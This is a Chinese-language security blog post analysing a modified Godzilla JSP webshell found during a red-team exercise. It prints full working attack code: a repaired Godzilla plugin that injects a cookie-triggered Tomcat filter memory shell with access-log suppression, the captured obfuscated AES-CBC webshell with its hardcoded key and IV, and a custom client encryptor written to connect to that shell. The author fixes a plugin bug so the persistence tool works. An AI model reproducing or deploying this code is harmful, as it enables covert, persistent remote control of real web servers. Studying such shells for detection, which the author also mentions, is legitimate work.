正确的魔改哥斯拉Webshell分析

故事还要从这里开始说起

6月底分析了一次jsp的webshell,领导说是从前线hw中捕获到的,刚好那个时候在看冰蝎的代码,然后发现该shell好像使用的是魔改算法以及混淆逻辑,魔改肯定是走不掉了,但是那个时候就框框认为是冰蝎了…
但后来发现冰蝎的逻辑完全对不上好像,其实这条道就已经发觉走错了,但是那个时候没直接看哥斯拉,也就错过了~

七月底终于是把哥斯拉和冰蝎的源码都看完了,然后正尝试写一个内存马查杀工具,在抓哥斯拉的filter内存马的时候,突然发现了最新版的哥斯拉注入filter内存马的插件好像有问题(注入了但是连接不上,肯定是有猫腻的,强迫症的我得去修一下了!),其注入内存字节码经过反编译后发现其实现逻辑其实是有问题的,然后请教了众多大师傅,集团蓝军师傅首先是发现了问题代码所在处,但是我们互相讨论了一中午发现貌似改的还是不正确,仍然无法注入正确逻辑,蓝军师傅说印象里他好像在很老的哥斯拉里是能够注入并连接的,但是新版大家都不用这个插件了,也就没仔细研究这个问题了,最终没能成功解决…

第二天强迫症的我不信邪,既然是插件那肯定是可以用的,大概是版本适配有问题,便去问了一下作者本人,然后也是得到了回复,最终还是找到了bug所在,修复了哥斯拉这个插件注入问题…
借着这个机会便狠狠地分析了一波哥斯拉,然后看到了jsp webshell的实现模板后,突然想起了一个错误,遂修正

参考的模板文件位于:shells\cryptions\JavaAes\template\rawCode.bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
try {
byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream = request.getInputStream();
int _num = 0;

while ((_num += inputStream.read(data, _num, data.length - _num)) < data.length) {

}

data = x(data, false);

if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);

Object f = ((Class) session.getAttribute("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();

f.equals(arrOut);
f.equals(pageContext);
f.toString();

response.getOutputStream().write(x(arrOut.toByteArray(), true));
}
} catch (Exception e) {

}

而filter内存马注入插件的实现逻辑是:

依葫芦画瓢加上一个ByteArrayOutputStream:

下面给出完整的插件代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
package f;  

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import javax.servlet.jsp.JspFactory;
import javax.servlet.jsp.JspWriter;
import javax.servlet.jsp.PageContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;

/**
* @FileName: F_AES_BASE64
* @Date: 2025/7/31/12:25
* @Author: Eviden
* @Description: 完成对哥斯拉filter内存马注入插件进行修复
*/
public class F_AES_BASE64 extends ClassLoader implements Filter, Servlet, ServletConfig {
private static FilterConfig filterConfig;
public final char[] toBase64 = new char[]{
'A',
'B',
'C',
'D',
'E',
'F',
'G',
'H',
'I',
'J',
'K',
'L',
'M',
'N',
'O',
'P',
'Q',
'R',
'S',
'T',
'U',
'V',
'W',
'X',
'Y',
'Z',
'a',
'b',
'c',
'd',
'e',
'f',
'g',
'h',
'i',
'j',
'k',
'l',
'm',
'n',
'o',
'p',
'q',
'r',
's',
't',
'u',
'v',
'w',
'x',
'y',
'z',
'0',
'1',
'2',
'3',
'4',
'5',
'6',
'7',
'8',
'9',
'+',
'/'
};
private String Pwd;
private String ck;
private String secretKey;
private HashMap parameterMap;
private ServletConfig servletConfig;
private ServletContext servletContext;
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();

private Object invoke(Object obj, String methodName, Object... parameters) {
try {
ArrayList classes = new ArrayList();
if (parameters != null) {
for(int i = 0; i < parameters.length; ++i) {
Object o1 = parameters[i];
if (o1 != null) {
classes.add(o1.getClass());
} else {
classes.add(null);
}
}
}

Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[0]));
return method.invoke(obj, parameters);
} catch (Exception var7) {
return null;
}
}

public F_AES_BASE64() {
}

public F_AES_BASE64(ClassLoader loader) {
super(loader);
}

public String get(String key) {
try {
return new String((byte[])this.parameterMap.get(key));
} catch (Exception var3) {
return null;
}
}

public boolean equals(Object obj) {
try {
this.parameterMap = (HashMap)obj;
this.servletContext = (ServletContext)this.parameterMap.get("servletContext");
this.Pwd = this.get("pwd");
this.ck = this.get("ck");
this.secretKey = this.get("secretKey");
return true;
} catch (Exception var3) {
return false;
}
}

public String toString() {
this.parameterMap.put("result", this.addFilter(this, this.getStandardContext()).getBytes());
this.parameterMap = null;
return "";
}

public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(this.secretKey.getBytes(), "AES"));
// c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(this.secretKey.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}

public void init(FilterConfig config) throws ServletException {
filterConfig = config;
}

public void init(ServletConfig servletConfig) throws ServletException {
}

public void destroy() {
}

public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
}

public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
Method method = null;
Class cs = obj.getClass();

while(cs != null) {
try {
f = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
}

f.setAccessible(true);
return f.get(obj);
}

public ServletContext getServletContext() {
return filterConfig.getServletContext();
}
//OEbjSmfhqKM4aNrkvFTI8KoBVvcbDMpwuL7nYS3n/k4=6C37AC826A2A04BC
public void _jspService(HttpServletRequest request, HttpServletResponse response) throws Exception {
HttpSession session = null;
JspWriter out = null;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;

try {
response.setContentType("text/html");
PageContext pageContext = _jspxFactory.getPageContext(this, request, response, null, true, 8192, true);
_jspx_page_context = pageContext;
ServletContext application = pageContext.getServletContext();
ServletConfig config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
this.noLog(pageContext);

try {
String md5 = md5(this.Pwd + this.secretKey);
byte[] data = this.base64Decode(request.getParameter(this.Pwd));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new F_AES_BASE64(pageContext.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
Object f = ((Class)session.getAttribute("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
// response.getWriter().write(this.base64Encode(x(gzipE(f.toString().getBytes()), true)));
// response.getWriter().write(this.base64Encode(this.x(base64Decode(f.toString()), true))); response.getWriter().write(md5.substring(16));
}
} catch (Exception var18) {
}
} catch (Exception var19) {
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}

}
public static byte[] gzipE(byte[] data) {
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outputStream);
gzipOutputStream.write(data);
gzipOutputStream.close();
return outputStream.toByteArray();
} catch (Exception var3) {
throw new RuntimeException(var3);
}
}
// public static byte[] readInputStream(InputStream inputStream) {
// byte[] temp = new byte[5120]; // // ByteArrayOutputStream bos = new ByteArrayOutputStream(); // // int readOneNum; // try { // while((readOneNum = inputStream.read(temp)) != -1) { // bos.write(temp, 0, readOneNum); // } // } catch (Exception var5) { // // Log.error((Throwable)var5); // } // // return bos.toByteArray(); // }
public Enumeration<String> getInitParameterNames() {
return null;
}

public String getServletName() {
return "Servlet";
}

public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
try {
HttpServletRequest httpServletRequest = (HttpServletRequest)req;
HttpServletResponse httpServletResponse = (HttpServletResponse)resp;
Cookie[] cookies = httpServletRequest.getCookies();
boolean isNextChain = true;

for(int i = 0; i < cookies.length; ++i) {
Cookie cookie = cookies[i];
if (cookie.getName().equals(this.ck)) {
this._jspService(httpServletRequest, httpServletResponse);
return;
}
}
} catch (Exception var10) {
}

chain.doFilter(req, resp);
}

public String getInitParameter(String s) {
return s;
}

protected String addFilter(Filter filter, Object standardContext) {
try {
String filterName = filter.getClass().getSimpleName() + System.currentTimeMillis();
Class standardContextClass = standardContext.getClass();
ClassLoader standardContextClassLoader = standardContextClass.getClassLoader();
Object filterMap = this.getMethodParameterTypes(standardContextClass, "addFilterMap")[0].newInstance();
Object filterDef = this.getMethodParameterTypes(standardContextClass, "addFilterDef")[0].newInstance();
this.invoke(filterMap, "setURLPattern", "/*");
this.invoke(filterMap, "addURLPattern", "/*");
this.invoke(filterMap, "setFilterName", filterName);
this.invoke(filterDef, "setFilterName", filterName);
this.invoke(filterDef, "setFilterClass", "org.apache.catalina.filters.SetCharacterEncodingFilter");
Constructor applicationFilterConfigConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", false, standardContextClassLoader)
.getDeclaredConstructor(Class.forName("org.apache.catalina.Context", false, standardContextClassLoader), filterDef.getClass());
applicationFilterConfigConstructor.setAccessible(true);
Object applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);
setFieldValue(applicationFilterConfig, "filter", filter);
this.invoke(filterDef, "setFilterClass", filter.getClass().getName());
filter.init((FilterConfig)applicationFilterConfig);
this.invoke(standardContext, "addFilterDef", filterDef);
this.invoke(standardContext, "addFilterMap", filterMap);
HashMap filterConfigs = (HashMap)getFieldValue(standardContext, "filterConfigs");
filterConfigs.put(filterName, applicationFilterConfig);
Object[] filterMaps = (Object[]) this.invoke(standardContext, "findFilterMaps", null);
if (filterMaps.length > 1) {
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;

for(int i = 0; i < filterMaps.length; ++i) {
Object _filterMap = filterMaps[i];
if (filterName.equals(this.invoke(_filterMap, "getFilterName", null))) {
tmpFilterMaps[0] = _filterMap;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}

for(int i = 0; i < filterMaps.length; ++i) {
filterMaps[i] = tmpFilterMaps[i];
}
}

return "ok";
} catch (Exception var16) {
return var16.getMessage();
}
}

public ServletConfig getServletConfig() {
return this;
}

public String getServletInfo() {
return this.getServletName();
}

public byte[] base64Decode(String base64Str) {
if (base64Str.length() == 0) {
return new byte[0];
} else {
byte[] src = base64Str.getBytes();
int sp = 0;
int sl = src.length;
int paddings = 0;
int len = sl - sp;
if (src[sl - 1] == 61) {
++paddings;
if (src[sl - 2] == 61) {
++paddings;
}
}

if (paddings == 0 && (len & 3) != 0) {
paddings = 4 - (len & 3);
}

byte[] dst = new byte[3 * ((len + 3) / 4) - paddings];
int[] base64 = new int[256];
Arrays.fill(base64, -1);
int i = 0;

while(i < this.toBase64.length) {
base64[this.toBase64[i]] = i++;
}

base64[61] = -2;
i = 0;
int bits = 0;
int shiftto = 18;

while(sp < sl) {
int b = src[sp++] & 255;
if ((b = base64[b]) < 0 && b == -2) {
if (shiftto == 6 && (sp == sl || src[sp++] != 61) || shiftto == 18) {
throw new IllegalArgumentException("Input byte array has wrong 4-byte ending unit");
}
break;
}

bits |= b << shiftto;
shiftto -= 6;
if (shiftto < 0) {
dst[i++] = (byte)(bits >> 16);
dst[i++] = (byte)(bits >> 8);
dst[i++] = (byte)bits;
shiftto = 18;
bits = 0;
}
}

if (shiftto == 6) {
dst[i++] = (byte)(bits >> 16);
} else if (shiftto == 0) {
dst[i++] = (byte)(bits >> 16);
dst[i++] = (byte)(bits >> 8);
} else if (shiftto == 12) {
throw new IllegalArgumentException("Last unit does not have enough valid bits");
}

if (i != dst.length) {
byte[] arrayOfByte = new byte[i];
System.arraycopy(dst, 0, arrayOfByte, 0, Math.min(dst.length, i));
dst = arrayOfByte;
}

return dst;
}
}

public String base64Encode(String data) {
return this.base64Encode(data.getBytes());
}

public String base64Encode(byte[] src) {
int off = 0;
int end = src.length;
byte[] dst = new byte[4 * ((src.length + 2) / 3)];
int linemax = -1;
boolean doPadding = true;
char[] base64 = this.toBase64;
int sp = off;
int slen = (end - off) / 3 * 3;
int sl = off + slen;
if (linemax > 0 && slen > linemax / 4 * 3) {
slen = linemax / 4 * 3;
}

int dp;
int sl0;
for(dp = 0; sp < sl; sp = sl0) {
sl0 = Math.min(sp + slen, sl);
int sp0 = sp;

int bits;
for(int dp0 = dp; sp0 < sl0; dst[dp0++] = (byte)base64[bits & 63]) {
bits = (src[sp0++] & 255) << 16 | (src[sp0++] & 255) << 8 | src[sp0++] & 255;
dst[dp0++] = (byte)base64[bits >>> 18 & 63];
dst[dp0++] = (byte)base64[bits >>> 12 & 63];
dst[dp0++] = (byte)base64[bits >>> 6 & 63];
}

sp0 = (sl0 - sp) / 3 * 4;
dp += sp0;
}

if (sp < end) {
sl0 = src[sp++] & 255;
dst[dp++] = (byte)base64[sl0 >> 2];
if (sp == end) {
dst[dp++] = (byte)base64[sl0 << 4 & 63];
if (doPadding) {
dst[dp++] = 61;
dst[dp++] = 61;
}
} else {
int b1 = src[sp++] & 255;
dst[dp++] = (byte)base64[sl0 << 4 & 63 | b1 >> 4];
dst[dp++] = (byte)base64[b1 << 2 & 63];
if (doPadding) {
dst[dp++] = 61;
}
}
}

return new String(dst);
}

public static String md5(String s) {
String ret = null;

try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception var3) {
}

return ret;
}

private Class[] getMethodParameterTypes(Class cls, String methodName) {
Method[] methods = cls.getDeclaredMethods();

for(int i = 0; i < methods.length; ++i) {
if (methodName.equals(methods[i].getName())) {
return methods[i].getParameterTypes();
}
}

return null;
}

private void noLog(PageContext pc) {
try {
Object applicationContext = getFieldValue(pc.getServletContext(), "context");
Object container = getFieldValue(applicationContext, "context");

ArrayList arrayList;
for(arrayList = new ArrayList(); container != null; container = this.invoke(container, "getParent", null)) {
arrayList.add(container);
}

for(int i = 0; i < arrayList.size(); ++i) {
try {
Object pipeline = this.invoke(arrayList.get(i), "getPipeline", null);
if (pipeline != null) {
Object valve = this.invoke(pipeline, "getFirst", null);

while(valve != null) {
if (this.getMethodByClass(valve.getClass(), "getCondition", null) != null
&& this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) {
String condition = (String)this.invoke(valve, "getCondition");
condition = condition == null ? "FuckLog" : condition;
this.invoke(valve, "setCondition", condition);
pc.getRequest().setAttribute(condition, condition);
valve = this.invoke(valve, "getNext", null);
} else if (Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader())
.isAssignableFrom(valve.getClass())) {
valve = this.invoke(valve, "getNext", null);
} else {
valve = null;
}
}
}
} catch (Exception var9) {
}
}
} catch (Exception var10) {
}

}

private Method getMethodByClass(Class cs, String methodName, Class... parameters) {
Method method = null;

while(cs != null) {
try {
method = cs.getDeclaredMethod(methodName, parameters);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}

return method;
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
f = obj.getClass().getDeclaredField(fieldName);
}

f.setAccessible(true);
f.set(obj, value);
}

private Object getStandardContext() {
try {
return getFieldValue(getFieldValue(this.servletContext, "context"), "context");
} catch (Exception var2) {
return null;
}
}

public Class Q(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

编译后把class文件替换原位置的模板文件shells/plugins/java/assets/F_AES_BASE64.classs然后插件就能正常运行了

哥斯拉的作者北辰师傅也说了这是他在很老很老的哥斯拉中的写法,大概3以前…
他说其它地方都改了,就这个地方可能是忘记了吧哈哈哈哈哈

回顾之前的错误

连接不上冰蝎一个关键的逻辑就是冰蝎在第一次的注入字节码的类名其实是随机的,而后续客户端工作只会盯着这个随机的类名发送后续指令而魔改webshell中是写死的类名.

这点在前面也是分析出来了,当时就觉得这个点好像跟冰蝎不一样,于是乎我去修改了原webshell的逻辑
让它每次都直接重新加载传入的类字节码,而不是选择特定的类名去加载,然后就成功完成第一次字节码的注入,因此这样后面也是成功生搬硬套地连上了冰蝎…

强扭的瓜终究还是不甜

连接逻辑的区别

首先来一波哥斯拉的连接逻辑:
详情可看: 哥斯拉魔改哥斯拉的逻辑就是第一次发一个大马的全部代码到被控端,然后存入session中去,在java中是用字节码形式存入的,要用的时候实例化然后触发equals方法;在php中是将完整的php代码传过去存入session,然后通过eval函数执行,也就在代码中有了上下文联系,这样后续也就可以通过发送需要调用模块名来执行对应的逻辑并返回结果!
对应客户端实现如下:

可以看到每次发送的就是三个(className, funcName, parameter); 然后被控端根据这3个参数去执行对应的功能模块可以看看第一次测试连接干了啥:

其逻辑就是去调用被控端名叫test的模块,并检验返回的结果解密后是否为ok字符串,如果是则对应连接成功,否则失败.
哥斯拉还有几个特征就是:

(作者的奇怪命名)

比如常见的x函数,一般是用来加密的

然后就是md5 密钥和另外一个什么东东的前16位后16位的大写形式来作为脏数据的添加(这里应该也是众多流量设备标记的重点)

回到代码

1
<%!String key = "79bec9b8470119f5";String initVector = "9220dc6228514959";public static class util{public static Object getoob(java.lang.reflect.Method m,Object o,Object... args) throws Exception {return m.invoke(o, args);}public static Object getob(java.lang.reflect.Method m,Object o,Object... args)throws Exception{return getoob(m, o,args);}public static Object reobj1(Object o){return o;}public static Object reobj(Object o){return reobj1(o);}}public static String reverse(String s) {return new StringBuilder(s).reverse().toString();}String md5 = md5(key + initVector);String style = "{\"Message\":\"##style##\"}}";public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret;}public byte[] x(byte[] s, boolean m) {try {javax.crypto.spec.IvParameterSpec iv = new javax.crypto.spec.IvParameterSpec(initVector.getBytes("UTF-8"));Class cipher = Class.forName(reverse("rehpiC.otpyrc.xavaj"));java.lang.reflect.Method cipher_getInstance = cipher.getMethod(reverse("ecnatsnIteg"), String.class);javax.crypto.Cipher c = (javax.crypto.Cipher)util.getob(cipher_getInstance, cipher,reverse("gniddaP5SCKP/CBC/SEA"));Class skeySpec1 = Class.forName(reverse("cepSyeKterceS.ceps.otpyrc.xavaj"));java.lang.reflect.Constructor skeySpec1_c = skeySpec1.getConstructor(byte[].class, String.class);javax.crypto.spec.SecretKeySpec skeySpec1_Obj = (javax.crypto.spec.SecretKeySpec) skeySpec1_c.newInstance(key.getBytes(), reverse("SEA"));c.init(m ? 1 : 2, skeySpec1_Obj, iv);return c.doFinal(s);} catch (Exception e) {return null;}}public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64 = Class.forName(reverse("46esaB.litu.avaj"));Object Encoder = base64.getMethod(reverse("redocnEteg"), null).invoke(base64, null);Class enen = Encoder.getClass();java.lang.reflect.Method method =enen.getMethod(reverse("gnirtSoTedocne"), new Class[]{byte[].class});value = (String) util.getob(method,Encoder, new Object[]{bs});} catch (Exception e) {try {base64 = Class.forName(reverse("redocnE46ESAB.csim.nus"));Object Encoder = base64.newInstance();Class enen = Encoder.getClass();java.lang.reflect.Method method = enen.getMethod(reverse("edocne"), new Class[]{byte[].class});value = (String) util.getob(method,Encoder, new Object[]{bs});} catch (Exception e2) {}}return value;}public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64 = Class.forName(reverse("46esaB.litu.avaj"));Object decoder = base64.getMethod(reverse("redoceDteg"), null).invoke(base64, null);Class dede = decoder.getClass();java.lang.reflect.Method method = dede.getMethod(reverse("edoced"), new Class[]{String.class});value = (byte[]) util.getob(method,decoder, new Object[]{bs});} catch (Exception e) {try {base64 = Class.forName(reverse("redoceD46ESAB.csim.nus"));Object decoder = base64.newInstance();Class dede = decoder.getClass();java.lang.reflect.Method method = dede.getMethod(reverse("reffuBedoced"), new Class[]{String.class});value = (byte[]) util.getob(method,decoder, new Object[]{bs});} catch (Exception e2) {}}return value;}%><%response.setContentType("text/html;charset=utf-8");if (request.getMethod().equals("POST")) {try {Class rc = request.getClass();java.lang.reflect.Method rdc = rc.getMethod(reverse("redaeRteg"));java.io.BufferedReader reader = (java.io.BufferedReader) rdc.invoke(request);String line = "";StringBuilder sb = new StringBuilder();while ((line = reader.readLine()) != null) {sb.append(line);}byte[] data = sb.toString().getBytes();String sdata = new String(data);if (sdata.indexOf(md5.substring(16)) > 0) {style = new String(x(base64Decode(java.net.URLDecoder.decode(sdata.split(md5.substring(16))[1])), false));session.setAttribute("style", style);}if (session.getAttribute("style") == null) {session.setAttribute("style", style);}if (sdata.indexOf(md5.substring(0, 16)) > 0) {sdata = sdata.split(md5.substring(0, 16))[1];data = x(base64Decode(java.net.URLDecoder.decode(sdata)), false);if (session.getAttribute("NAPRoutID") == null) {java.lang.reflect.Method ClassLoaderEx = Class.forName(reverse("redaoLssalC.gnal.avaj")).getDeclaredMethod(reverse("ssalCenifed"), byte[].class, int.class, int.class);ClassLoaderEx.setAccessible(true);java.lang.reflect.Method currentThreadMethod = Thread.class.getMethod(reverse("daerhTtnerruc"));Thread currentThread = (Thread) currentThreadMethod.invoke(null);java.lang.reflect.Method getContextClassLoaderMethod = Thread.class.getMethod(reverse("redaoLssalCtxetnoCteg"));ClassLoader contextClassLoader = (ClassLoader) util.getob(getContextClassLoaderMethod, currentThread);Class Class_i = (Class) util.getob(ClassLoaderEx, contextClassLoader, data, 0, data.length);session.setAttribute("NAPRoutID", Class_i);response.getWriter().write(session.getAttribute("style").toString().replace("##style##", ""));} else {request.setAttribute(reverse("sretemarap"), data);java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();Class payload_c = ((Class) session.getAttribute("NAPRoutID"));Object f = payload_c.newInstance();f.equals(arrOut);f.equals(util.reobj(pageContext));f.toString();response.getWriter().write(session.getAttribute("style").toString().replace("##style##", md5.substring(0, 16) + java.net.URLEncoder.encode(base64Encode(x(arrOut.toByteArray(), true)), "UTF-8") + md5.substring(16)));}} else {response.getWriter().write(session.getAttribute("style").toString().replace("##style##", ""));}} catch (Exception e) {response.getWriter().write(style.replace("##style##", "Unauthorized"));}} else {response.getWriter().write(style.replace("##style##", "Unauthorized"));}%>

x函数,写session,md5前16位作为脏数据等都出现了在上述魔改webshell中了

因此它就是一个真正的哥斯拉webshell!
但还是有几个新颖的点:

  1. 它采用了AES/CBC/PKCS5Padding而非哥斯拉java-webshell常用的AES/ECB/PKCS5Padding

  2. 添加了流量混淆逻辑,在没有正确启用webshell的情况下会伪造页面

以常见的JAVA_AES_BASE64举例,可以看到就是默认的AES,也就是ECB模式
我们不妨去看看哥斯拉默认是在哪个地方用了CBC模式(我发现在哥斯拉里依葫芦画瓢这个思维很重要,或许这也是看一个大型项目代码时的常用思维吧)

可以看到在C#的webshell实现里作者给的是AES/CBC/PKCS5Padding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{  
this.shell = context;
this.http = this.shell.getHttp();
this.key = this.shell.getSecretKeyX();
this.pass = this.shell.getPassword();
String findStrMd5 = functions.md5(this.pass + this.key);
this.findStrLeft = findStrMd5.substring(0, 16).toUpperCase();
this.findStrRight = findStrMd5.substring(16).toUpperCase();
this.shell.getHeaders().put("Content-Type", "text/xml; charset=utf-8");
this.xmlRequest = readXmlRequest(this.pass);

try {
this.encodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.decodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
this.payload = this.shell.getPayloadModule().getPayload();
if (this.payload != null) {
this.state = true;
} else {
Log.error("payload Is Null");
}

} catch (Exception var4) {
Log.error((Throwable)var4);
}
}

但是好巧不巧又是没有java和php版的AES/CBC/PKCS5Padding,因此该攻击队选择了自己去实现

如果看过我上一篇php webshell的魔改文章也会发现其实php webshell中默认根本没有aes的实现,只采用了简单的异或和base;于是乎我上一篇文章也就手动实现了一下php的aes webshell…

真的一切都好巧啊

依葫芦画瓢

既然有了上面的C# webshell实现逻辑,然后我们又有原webshell的jsp的完整逻辑那么很容易写出以下加密器,以适配目标webshell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package shells.cryptions.JavaAes;  

import core.annotation.CryptionAnnotation;
import core.imp.Cryption;
import core.shell.ShellEntity;
import util.Log;
import util.functions;
import util.http.Http;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.net.URLDecoder;
import java.net.URLEncoder;
import java.util.Base64;

/**
* @FileName: JavaMyLog
* @Date: 2025/8/3/08:05
* @Author: Eviden
* * String key = "79bec9b8470119f5"; * String initVector = "9220dc6228514959"; * String md5 = md5(key + initVector); */
@CryptionAnnotation(
payloadName = "JavaDynamicPayload",
Name = "Correct-AES-log-Webshell")
public class JavaMyLog implements Cryption {

private ShellEntity shell;
private Http http;
private Cipher decodeCipher;
private Cipher encodeCipher;
private String key;
private boolean state;
private byte[] payload;
private String findStrLeft;
private String pass;
private String findStrRight;

public void init(ShellEntity context) {
this.shell = context;
this.http = this.shell.getHttp();
this.pass = "79bec9b8470119f5"; //key
this.key = "9220dc6228514959"; //initVector
//构造脏数据
String findStrMd5 = functions.md5(this.pass + this.key);
this.findStrLeft = findStrMd5.substring(0, 16).toUpperCase();
this.findStrRight = findStrMd5.substring(16).toUpperCase();

try {
this.encodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.decodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.encodeCipher.init(1, new SecretKeySpec(this.pass.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
this.decodeCipher.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
this.payload = this.shell.getPayloadModule().getPayload();
if (this.payload != null) {
this.http.sendHttpResponse(this.payload);
this.state = true;
} else {
Log.error("payload Is Null");
}
} catch (Exception var4) {
Log.error((Throwable)var4);
}
}

public byte[] encode(byte[] data) {
try {
return ( "PassWord=" + this.findStrLeft+URLEncoder.encode(Base64.getEncoder().encodeToString(this.encodeCipher.doFinal(data)), "UTF-8")).getBytes();
} catch (Exception var3) {
Log.error((Throwable)var3);
return null;
}
}

public byte[] decode(byte[] data) {
